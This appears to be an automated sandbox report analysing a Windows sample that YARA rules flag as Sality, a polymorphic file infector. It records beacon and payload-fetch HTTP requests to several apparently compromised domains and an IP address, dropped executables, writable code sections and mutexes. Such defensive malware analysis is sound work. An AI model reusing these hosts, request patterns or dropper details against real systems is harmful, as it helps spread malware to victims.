      Source: global trafficHTTP traffic detected: GET /xs.jpg?10e1c12=88509530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1150888=163400904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /xs.jpg?128b779=175010625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?142a6b1=211452650 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1b3ca31=171359526 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214849|1681214849|0|1|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?21973d4=70444968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214850|1681214850|0|1|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?25d8de9=158742436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cacheCookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2713c6c=81950936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214851|1681214851|0|1|0; snkz=84.17.52.42
      Source: global trafficHTTP traffic detected: GET /xs.jpg?29383b1=259331622 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2c3ef52=185580872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?37fb479=234803684 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214860|1681214849|5|2|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?3b0704e=495157872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214861|1681214850|5|2|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?3f44720=597065760 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cacheCookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?416832a=548673872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214862|1681214851|5|2|0; snkz=84.17.52.42
      Source: global trafficHTTP traffic detected: GET /xs.jpg?44c7885=504843171 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?46e717b=520428125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?56961d6=181584812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214865|1681214849|5|3|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?59f0920=471543200 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214866|1681214850|5|3|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?5cf74e1=779855624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cacheCookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5f16d79=498541405 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214867|1681214851|5|3|0; snkz=84.17.52.42
      Source: global trafficHTTP traffic detected: GET /xs.jpg?6273be3=929110779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?657d9df=425682812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7139244=712338840 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214870|1681214849|5|4|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?757abcd=739116750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214870|1681214850|4|4|0
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
      Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
      Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
      Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
      Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Apr 2023 12:07:32 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Apr 2023 12:07:42 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Apr 2023 12:07:47 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Apr 2023 12:07:51 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: unknownTCP traffic detected without corresponding DNS query: 154.23.184.71
      Source: SearchUI.exe, 00000014.00000000.401839654.000001CDDD760000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: www.yahoo. equals www.yahoo.com (Yahoo)
      Source: unknownHTTPS traffic detected: 37.230.104.89:443 -> 192.168.2.3:49705 version: TLS 1.2

      System Summary

      barindex
      Malicious sample detected (through community Yara rule)
      Source: 0.2.pXlV6TKi3E.exe.2382300.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
      Source: 0.2.pXlV6TKi3E.exe.7b1890.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
      Source: 0.2.pXlV6TKi3E.exe.76fbac.4.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
      Source: 0.2.pXlV6TKi3E.exe.23825f4.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
      Source: 0.2.pXlV6TKi3E.exe.2300000.8.unpack, type: UNPACKEDPEMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
      Source: C:\kasf.pif, type: DROPPEDMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
      Source: C:\Users\user\AppData\Local\Temp\winrhlyw.exe, type: DROPPEDMatched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
      PE file has a writeable .text section
      Source: kasf.pif.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
      Source: winrhlyw.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0052E7A00_2_0052E7A0
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_004200000_2_00420000
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0040C1170_2_0040C117
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0042D1960_2_0042D196
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0041F19B0_2_0041F19B
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_004202700_2_00420270
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0041F6700_2_0041F670
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0042D6DA0_2_0042D6DA
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_004246820_2_00424682
      Source: pXlV6TKi3E.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
      Source: 0.2.pXlV6TKi3E.exe.2382300.7.raw.unpack, type: UNPACKEDPEMatched rule: Sality_Malware_Oct16 date = 2016-10-08, author = Florian Roth (Nextron Systems), description = Detects an unspecififed malware - October 2016, score = 8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
      Source: 0.2.pXlV6TKi3E.exe.2382300.7.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
      Source: 0.2.pXlV6TKi3E.exe.7b1890.3.raw.unpack, type: UNPACKEDPEMatched rule: Sality_Malware_Oct16 date = 2016-10-08, author = Florian Roth (Nextron Systems), description = Detects an unspecififed malware - October 2016, score = 8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
      Source: 0.2.pXlV6TKi3E.exe.7b1890.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
      Source: 0.2.pXlV6TKi3E.exe.76fbac.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
      Source: 0.2.pXlV6TKi3E.exe.23825f4.6.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
      Source: 0.2.pXlV6TKi3E.exe.2300000.8.unpack, type: UNPACKEDPEMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
      Source: C:\kasf.pif, type: DROPPEDMatched rule: Sality_Malware_Oct16 date = 2016-10-08, author = Florian Roth (Nextron Systems), description = Detects an unspecififed malware - October 2016, score = 8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
      Source: C:\kasf.pif, type: DROPPEDMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
      Source: C:\Users\user\AppData\Local\Temp\winrhlyw.exe, type: DROPPEDMatched rule: Sality_Malware_Oct16 date = 2016-10-08, author = Florian Roth (Nextron Systems), description = Detects an unspecififed malware - October 2016, score = 8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
      Source: C:\Users\user\AppData\Local\Temp\winrhlyw.exe, type: DROPPEDMatched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: String function: 0041E903 appears 44 times
      Source: kasf.pif.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
      Source: winrhlyw.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
      Source: kasf.pif.0.drStatic PE information: Section .text
      Source: winrhlyw.exe.0.drStatic PE information: Section .text
      Source: pXlV6TKi3E.exeStatic PE information: Section: 5ata ZLIB complexity 1.000213774875622
      Source: pXlV6TKi3E.exe.0.drStatic PE information: Section: 5ata ZLIB complexity 1.0015345982142858
      Source: pXlV6TKi3E.exe0.0.drStatic PE information: Section: 5ata ZLIB complexity 1.0015345982142858
      Source: C:\Windows\System32\svchost.exeFile created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etlJump to behavior
      Source: classification engineClassification label: mal100.spre.evad.winEXE@2/25@15/36
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile read: C:\Windows\system.iniJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0040405B FindResourceA,LoadResource,LockResource,FreeResource,0_2_0040405B
      Source: pXlV6TKi3E.exeReversingLabs: Detection: 97%
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile read: C:\Users\user\Desktop\pXlV6TKi3E.exeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\pXlV6TKi3E.exe C:\Users\user\Desktop\pXlV6TKi3E.exe
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile created: C:\Users\user\AppData\Local\Temp\00413442_RarJump to behavior
      Source: svchost.exe, 0000000F.00000000.306192369.00000170BB692000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.547325683.00000170BB692000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: CREATE TABLE [WNSPushChannel]( [ChannelId] TEXT NOT NULL, [HandlerId] INTEGER REFERENCES[NotificationHandler]([RecordId]) ON DELETE CASCADE ON UPDATE CASCADE, [Uri] TEXT, [ExpiryTime] INT64, [CreatedTime] INT64, CONSTRAINT[] PRIMARY KEY([ChannelId]) ON CONFLICT REPLACE);
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4424_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5216_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_6280_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\csrss.exeM_488_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2112_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1512_
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMutant created: \Sessions\1\BaseNamedObjects\mnifgxliqwujfj.exeM_5228_
